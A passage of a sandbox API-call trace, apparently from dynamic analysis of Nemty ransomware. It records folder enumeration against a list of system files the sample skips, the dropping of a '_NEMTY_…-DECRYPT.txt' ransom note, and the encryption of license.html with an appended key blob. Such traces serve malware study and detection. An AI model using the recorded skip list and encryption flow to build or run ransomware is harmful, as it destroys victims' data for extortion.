ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2=".") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="..") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="...") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="windows") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="$RECYCLE.BIN") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="rsa") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="NTDETECT.COM") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="ntldr") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="MSDOS.SYS") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="IO.SYS") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="boot.ini") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="boot.ini") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="AUTOEXEC.BAT") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="ntuser.dat") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="desktop.ini") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="CONFIG.SYS") returned 1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="RECYCLER") returned -1 [0172.668] lstrcmpiW (lpString1="DEU", lpString2="BOOTSECT.BAK") returned 1 [0172.669] lstrcmpiW (lpString1="DEU", lpString2="bootmgr") returned 1 [0172.669] lstrcmpiW (lpString1="DEU", lpString2="programdata") returned -1 [0172.669] lstrcmpiW (lpString1="DEU", lpString2="appdata") returned 1 [0172.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEU", lpUsedDefaultChar=0x0) returned 3 [0172.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEU", lpUsedDefaultChar=0x0) returned 3 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.670] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.670] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.670] CloseHandle (hObject=0x254) returned 1 [0172.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.672] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.672] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.672] CloseHandle (hObject=0x254) returned 1 [0172.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.673] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a8f3730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8f3730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.673] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.673] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a8f3730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8f3730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.673] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.673] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.673] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.673] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.674] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.674] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.674] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.674] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.674] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.674] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.675] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.676] Sleep (dwMilliseconds=0x5) [0172.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a93f9f0, dwHighDateTime=0x1d561e8)) [0172.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a93f9f0, dwHighDateTime=0x1d561e8)) [0172.690] GetLastError () returned 0xb7 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.690] GetLastError () returned 0xb7 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.690] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.690] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="aiK6PZfXb2yhuTSHR55Ko8a/wUn/CXjvc3xxVbiZAzyTJ9o4/AIbnBBXnKtJmPSm\r\n00H6vPjEdyNTT0t3hpxYeXGY0HdtvwM7EobvYyT5EeL1dDucLngoCjUyXXL7RuV0\r\nzBQ6EeuuqtbwIu+xbVMAjA4RHPUh6lzidqRKNLRiSrEqzdew9aETl2+dEc3M36hl\r\nelOskl01BpONvqfnTg9pYlnQ2QTqkqYQsJrXCfbVVk9/tUpwBkCLVa1UpnKx6rrf\r\nX9Bq1JDHzChZxtUbQGcwEOgSPLoAW5ZitdHNyZXNYbpTbbEqH4+xFIUHUyry2IaP\r\naQbBhCRhzJ7agR5OCvswFA==\r\n", pcchString=0x653e5dc) returned 1 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.691] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=51024) returned 1 [0172.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc750) returned 0x6352c48 [0172.691] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.691] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc750, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xc750, lpOverlapped=0x0) returned 1 [0172.696] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.696] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc750, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xc750, lpOverlapped=0x0) returned 1 [0172.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.696] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=51024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc750 [0172.696] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.696] CloseHandle (hObject=0x3b0) returned 1 [0172.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 